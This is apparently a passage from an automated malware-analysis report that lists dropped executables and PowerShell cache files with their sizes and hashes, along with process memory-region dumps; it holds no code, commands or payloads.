                    b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                    Filesize

                    53KB

                    MD5

                    124edf3ad57549a6e475f3bc4e6cfe51

                    SHA1

                    80f5187eeebb4a304e9caa0ce66fcd78c113d634

                    SHA256

                    638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675

                    SHA512

                    b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee

                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                    Filesize

                    19KB

                    MD5

                    3de4b1df63a3e8eca29650d2a9394076

                    SHA1

                    d3e2c6fff2a2ab02e9e02b107dba32b37552e100

                    SHA256

                    4880baae568830a9b05d9f37de43285b4c587574e39e4985f120b51dccb343c5

                    SHA512

                    de68111b67b1b7f5cf0788069facea010d422a0046dc4bbc388c560965fca2788e6e5d065612aa1b01021fe6a9fc7ae5bb1048047caff2374301f8ae6adc6ec0

                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                    Filesize

                    1KB

                    MD5

                    c697637a9b17f577fccd7e83a5495810

                    SHA1

                    04e6054584786b88994b0e0a871562227fe2a435

                    SHA256

                    54992c76969f661b605042ebdc73912dbc42e3f88aa6ffecb7191a598fc17164

                    SHA512

                    66f85a03889786d2c910880bf32e9ea380740b665f11828d06acb03b6f63fb11be1d70e67acb3bc2118f2c35824919458ce7c85f6843c72a3e5ca44fadc0b3c0

                  • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

                    Filesize

                    1.4MB

                    MD5

                    bb86a343080f9f4696c250ef31a18d9d

                    SHA1

                    43b2193dcb1d56eac73ba88a7b461822074192d6

                    SHA256

                    095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

                    SHA512

                    24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

                  • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

                    Filesize

                    1.4MB

                    MD5

                    bb86a343080f9f4696c250ef31a18d9d

                    SHA1

                    43b2193dcb1d56eac73ba88a7b461822074192d6

                    SHA256

                    095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

                    SHA512

                    24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

                  • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

                    Filesize

                    3.7MB

                    MD5

                    f5c51e7760315ad0f0238d268c03c60e

                    SHA1

                    85ebaaa9685634143a72bc82c6e7df87a78eed4c

                    SHA256

                    ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

                    SHA512

                    d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

                  • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

                    Filesize

                    3.7MB

                    MD5

                    f5c51e7760315ad0f0238d268c03c60e

                    SHA1

                    85ebaaa9685634143a72bc82c6e7df87a78eed4c

                    SHA256

                    ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

                    SHA512

                    d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

                  • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                    Filesize

                    1.4MB

                    MD5

                    b6bbab9f72c88d07b484cc339c475e75

                    SHA1

                    f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                    SHA256

                    dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                    SHA512

                    1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

                  • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                    Filesize

                    1.4MB

                    MD5

                    b6bbab9f72c88d07b484cc339c475e75

                    SHA1

                    f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                    SHA256

                    dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                    SHA512

                    1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

                  • memory/64-219-0x00007FFB5E990000-0x00007FFB5E9A0000-memory.dmp

                    Filesize

                    64KB

                  • memory/588-217-0x00007FFB5E990000-0x00007FFB5E9A0000-memory.dmp

                    Filesize

                    64KB

                  • memory/672-218-0x00007FFB5E990000-0x00007FFB5E9A0000-memory.dmp

                    Filesize

                    64KB

                  • memory/948-199-0x00007FFB80410000-0x00007FFB80ED1000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/948-200-0x0000010CB3099000-0x0000010CB309F000-memory.dmp

                    Filesize

                    24KB

                  • memory/948-186-0x00007FFB80410000-0x00007FFB80ED1000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/948-198-0x0000010CB3099000-0x0000010CB309F000-memory.dmp

                    Filesize

                    24KB

                  • memory/2088-150-0x0000000007070000-0x000000000707A000-memory.dmp

                    Filesize

                    40KB

                  • memory/2088-143-0x0000000005690000-0x00000000056F6000-memory.dmp

                    Filesize

                    408KB

                  • memory/2088-149-0x0000000006FF0000-0x000000000700A000-memory.dmp

                    Filesize

                    104KB

                  • memory/2088-147-0x0000000006290000-0x00000000062AE000-memory.dmp

                    Filesize

                    120KB

                  • memory/2088-146-0x0000000070260000-0x00000000702AC000-memory.dmp

                    Filesize

                    304KB

                  • memory/2088-145-0x00000000062B0000-0x00000000062E2000-memory.dmp

                    Filesize

                    200KB

                  • memory/2088-151-0x00000000072B0000-0x0000000007346000-memory.dmp

                    Filesize

                    600KB

                  • memory/2088-144-0x0000000005CD0000-0x0000000005CEE000-memory.dmp

                    Filesize

                    120KB

                  • memory/2088-152-0x0000000007220000-0x000000000722E000-memory.dmp

                    Filesize

                    56KB

                  • memory/2088-139-0x0000000002700000-0x0000000002736000-memory.dmp

                    Filesize

                    216KB

                  • memory/2088-142-0x0000000004ED0000-0x0000000004F36000-memory.dmp

                    Filesize

                    408KB

                  • memory/2088-153-0x0000000007270000-0x000000000728A000-memory.dmp

                    Filesize

                    104KB

                  • memory/2088-154-0x0000000007260000-0x0000000007268000-memory.dmp

                    Filesize

                    32KB

                  • memory/2088-148-0x0000000007640000-0x0000000007CBA000-memory.dmp

                    Filesize

                    6.5MB

                  • memory/2088-156-0x0000000008270000-0x0000000008814000-memory.dmp

                    Filesize

                    5.6MB

                  • memory/2088-141-0x0000000004E30000-0x0000000004E52000-memory.dmp

                    Filesize

                    136KB

                  • memory/2088-140-0x0000000004F70000-0x0000000005598000-memory.dmp

                    Filesize

                    6.2MB

                  • memory/2088-155-0x0000000007380000-0x00000000073A2000-memory.dmp

                    Filesize

                    136KB

                  • memory/2148-206-0x0000000140000000-0x0000000140029000-memory.dmp

                    Filesize

                    164KB

                  • memory/2148-209-0x0000000140000000-0x0000000140029000-memory.dmp

                    Filesize

                    164KB

                  • memory/2148-210-0x00007FFB9E910000-0x00007FFB9EB05000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/2148-211-0x00007FFB9D330000-0x00007FFB9D3EE000-memory.dmp

                    Filesize

                    760KB

                  • memory/2148-215-0x0000000140000000-0x0000000140029000-memory.dmp

                    Filesize

                    164KB

                  • memory/2148-216-0x00007FFB9E910000-0x00007FFB9EB05000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/3872-176-0x00007FFB80410000-0x00007FFB80ED1000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/3872-171-0x000001EDE01A0000-0x000001EDE01C2000-memory.dmp

                    Filesize

                    136KB

                  • memory/3872-183-0x000001EDE0640000-0x000001EDE064A000-memory.dmp

                    Filesize

                    40KB

                  • memory/3872-184-0x00007FFB80410000-0x00007FFB80ED1000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/3872-182-0x000001EDE0630000-0x000001EDE0636000-memory.dmp

                    Filesize

                    24KB

                  • memory/3872-175-0x000001EDE0510000-0x000001EDE052C000-memory.dmp

                    Filesize

                    112KB

                  • memory/3872-181-0x000001EDE0600000-0x000001EDE0608000-memory.dmp

                    Filesize

                    32KB

                  • memory/3872-180-0x000001EDE0650000-0x000001EDE066A000-memory.dmp

                    Filesize

                    104KB

                  • memory/3872-179-0x000001EDE05F0000-0x000001EDE05FA000-memory.dmp

                    Filesize

                    40KB

                  • memory/3872-178-0x000001EDE0610000-0x000001EDE062C000-memory.dmp

                    Filesize

                    112KB

                  • memory/3872-177-0x000001EDE0500000-0x000001EDE050A000-memory.dmp

                    Filesize

                    40KB

                  • memory/4064-205-0x00007FFB9D330000-0x00007FFB9D3EE000-memory.dmp

                    Filesize

                    760KB

                  • memory/4064-213-0x00007FFB9E910000-0x00007FFB9EB05000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/4064-212-0x00007FFB80BA0000-0x00007FFB81661000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/4064-203-0x00007FFB80BA0000-0x00007FFB81661000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/4064-204-0x00007FFB9E910000-0x00007FFB9EB05000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/4064-214-0x00007FFB9D330000-0x00007FFB9D3EE000-memory.dmp

                    Filesize

                    760KB

                  • memory/4196-173-0x00000000027CF000-0x000000000290C000-memory.dmp

                    Filesize

                    1.2MB

                  • memory/4196-170-0x00000000022B4000-0x00000000027B8000-memory.dmp

                    Filesize

                    5.0MB

                  • memory/4196-169-0x00000000027CF000-0x000000000290C000-memory.dmp

                    Filesize

                    1.2MB

                  • memory/4196-168-0x00000000022B4000-0x00000000027B8000-memory.dmp

                    Filesize

                    5.0MB

                  • memory/4424-166-0x0000000004D40000-0x0000000004DD2000-memory.dmp

                    Filesize

                    584KB

                  • memory/4424-167-0x00000000051D0000-0x00000000051DA000-memory.dmp

                    Filesize

                    40KB

                  • memory/4424-161-0x00000000002B0000-0x000000000041C000-memory.dmp

                    Filesize

                    1.4MB

                  • memory/4780-133-0x0000000000400000-0x0000000000408000-memory.dmp

                    Filesize

                    32KB